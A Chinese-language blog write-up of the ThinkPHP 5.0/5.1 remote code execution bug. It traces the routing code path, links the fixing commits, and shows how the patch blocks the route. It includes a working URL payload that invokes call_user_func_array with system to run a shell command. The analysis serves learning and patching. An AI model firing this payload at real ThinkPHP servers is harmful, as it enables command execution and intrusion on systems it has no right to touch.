ThinkPHP 5.x RCE分析

第一次进行代码量这么大的分析,记录一下,个人感觉新手真的不适应这种,应该找点小一点的cms去分析,如果不懂MVC架构真的可能会懵。。。

前言

在分析这个之前还看了两篇tp5的RCE漏洞,这两个洞都是很相似的,都是利用一个可控的变量dispatch去实现到最后还是构造出回调函数,可以学习一下,感觉这里面的思路就是本文分析漏洞的来源

https://xz.aliyun.com/t/3845

https://xz.aliyun.com/t/3845

我这里已tp 5.0.22为例子,环境是phpstudy搭建的

补丁

影响版本
THINKPHP 5.0.5-5.0.22

THINKPHP 5.1.0-5.1.30

5.0.x补丁地址:https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

kDf8x0.png

5.1.x补丁地址:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

漏洞分析

补丁中加了正则限制了控制器的自定义初始化

payload:

1
localhost/tp52/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

根据补丁下的点,动态跟踪一下是否是因为controller没有做好过滤而实体化,确实是如此

kD51Gd.png

根据传进去的payload,控制器以及下面的方法都会发生对应的变化,下面就可以分析一下攻击链的流程

可以从入口文件一级一级跟踪,进入到App.php中,这里应该涉及到一个开发的知识,在App.php中,会根据请求的URL调用routeCheck进行调度解析在App.php中,会根据请求的URL调用routeCheck进行调度解析获得到$dispatch,所以payload是一定要经过那里的,可以在那里加断点进行调试

定位到/thinkphp/library/think/App.php:116

1
2
3
4
5
6
7
8
9
10
11
12
13
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}

// 记录当前调度信息
$request->dispatch($dispatch);


......
$data = self::exec($dispatch, $config);//这个函数很关键

继续跟进routeCheck这个函数,同样在App.php里面

kDo5K1.png

继续跟进到path方法里面,然后这里有一个pathinfo()函数,继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}

Config::get('var_pathinfo')是配置文件中的设置的参数,默认值为s,怎么找到这个变量?可以全局搜索一下,可以搜索到其中一个配置文件里面有

kDThFS.png

从GET中获取键值,然后赋值给routeCheck中的$path,这里也就是index/think\app/invokefunction

kDTvYF.png

然后开始进入路由检测的部分,经过check的检查后会进入else的分支,但这一部分对于我们需要控制的变量没有任何影响,关键是$result以及$must这两个变量的赋值结果,这也是导致了后面操作的关键,可以进入Route::parseUrl函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;

// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}

// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}

// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}

return $result;
}

跟进Route::parseUrl函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public static function parseUrl($url, $depr = '/', $autoSearch = false)
{

if (isset(self::$bind['module'])) {
$bind = str_replace('/', $depr, self::$bind['module']);
// 如果有模块/控制器绑定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
....
return ['type' => 'module', 'module' => $route];
}

再跟进一下parseUrlPath(),这里面就是返回一个$path变量,对包含模块/控制器/操作的URL进行分割成数组进行返回

kDHQgJ.png

回到上一层的函数中,继续跟进,可以发现在自动搜索控制器的判断中进入了else语句,从而为控制器进行了赋值,这里是个赋值点,很关键

kDHtUK.png

然后以$route变量返回上层run函数

kDHrDI.png

此时$dispatch 进入到self::exec()中,继续跟进。此时的$dispatch 里面是一个以module为名字的数组,所以进入exec函数中必将进入分支为module的模块,然后进入self::module函数

kDbesA.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
...............
}

return $data;
}

跟进self::module函数,在进入多模块部署后由于,bind的值为null,会进入elseif的条件,使available的变量成为true,这也是后面为什么可以顺利初始化module的条件,不然就会抛出异常XD。

kDbqeI.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
public static function module($result, $config, $convert = null)
{
if (is_string($result)) {
$result = explode('/', $result);
}

$request = Request::instance();

if ($config['app_multi_module']) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
$bind = Route::getBind('module');
$available = false;

if ($bind) {
// 绑定模块
list($bindModule) = explode('/', $bind);

if (empty($result[0])) {
$module = $bindModule;
$available = true;
} elseif ($module == $bindModule) {
$available = true;
}
} elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {
$available = true;
}

// 模块初始化
if ($module && $available) {
// 初始化模块
$request->module($module);
$config = self::init($module);

// 模块请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
} else {
// 单一模块部署
$module = '';
$request->module($module);
}

// 设置默认过滤机制
$request->filter($config['default_filter']);

// 当前模块路径
App::$modulePath = APP_PATH . ($module ? $module . DS : '');

// 是否自动转换控制器和操作名
$convert = is_bool($convert) ? $convert : $config['url_convert'];

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;

// 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}

// 设置当前请求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName);

// 监听module_init
Hook::listen('module_init', $request);

try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}

// 获取当前操作名
$action = $actionName . $config['action_suffix'];

$vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);

} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}

Hook::listen('action_begin', $call);

return self::invokeMethod($call, $vars);
}

继续跟进的就是我在文章一开头说的内容,controller变量就被赋值,然后获得方法名字,开始请求这个方法

kDqoNV.png

最后还是返回了这个方法

1
return self::invokeMethod($call, $vars);

$call变量是个数组,里面包含了控制器以及操作,可以追踪里面的变量变化

kDL3uj.png

然后通过ReflectionMethod方法去构造一个映射,反正就把他当成平常一个类去调用某个方法,接着就把剩余的url的剩余内容赋值给args,最后调用invokefunction函数,这个函数也类似回调函数,所以就会把&function=call_user_func_array&vars[0]=system&vars[1][]=dir传进invokefunction这个方法里面。

kDLOG8.png

kDOPI0.png

可以看到里面args里面的内容结构,里面包含了多个数组

kDO2es.png

继续跟进的话,你会发现这个函数跟上面跟进的函数的套路一模一样,也是利用了回调的效果,也是利用一个变量把system后面的内容返回给call_user_func_array,只不过这次可以直接调用call_user_func_array了,相当于call_user_func_array("system","dir")

kDvUeJ.png

补丁后的效果

再来观察一下加上补丁的走向,直接就会进入抛出异常的步骤,只要匹配到不是字母开头的控制器的话直接进入异常,有效避免利用命名空间构造攻击链

kDx8AA.png

小结

  1. 这个攻击链的构造,还是概念模糊,如果真正构造的时候需要怎么去做?这里只是根据别人的payload去分析代码,分析它的攻击过程,个人感觉真正核心的东西没掌握,也有可能看得多就会了???XD因为这个东西不只是这个模块可以如此调用,还有其他模块也有同样的效果,这也比较考验对该框架的熟悉程度,多接触开发还是很好的。
  2. 看了好几篇文章,发现这几个都是差不多从路由的检测开始跟进,其实想想也对,毕竟payload从url中来,跟进某函数跟到底了再返回,有可能这是一种套路,先记下来。。。
  3. 我也是第一次审计这种东西,毕竟ThinkPHP 5.0.x 的代码执行漏洞,从漏洞技术含量和利用链构造上来看,算是2018年一个很牛的洞了,对我这种菜鸡,学习到就好。

听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 前言
  2. 2. 补丁
  3. 3. 漏洞分析
  4. 4. 补丁后的效果
  5. 5. 小结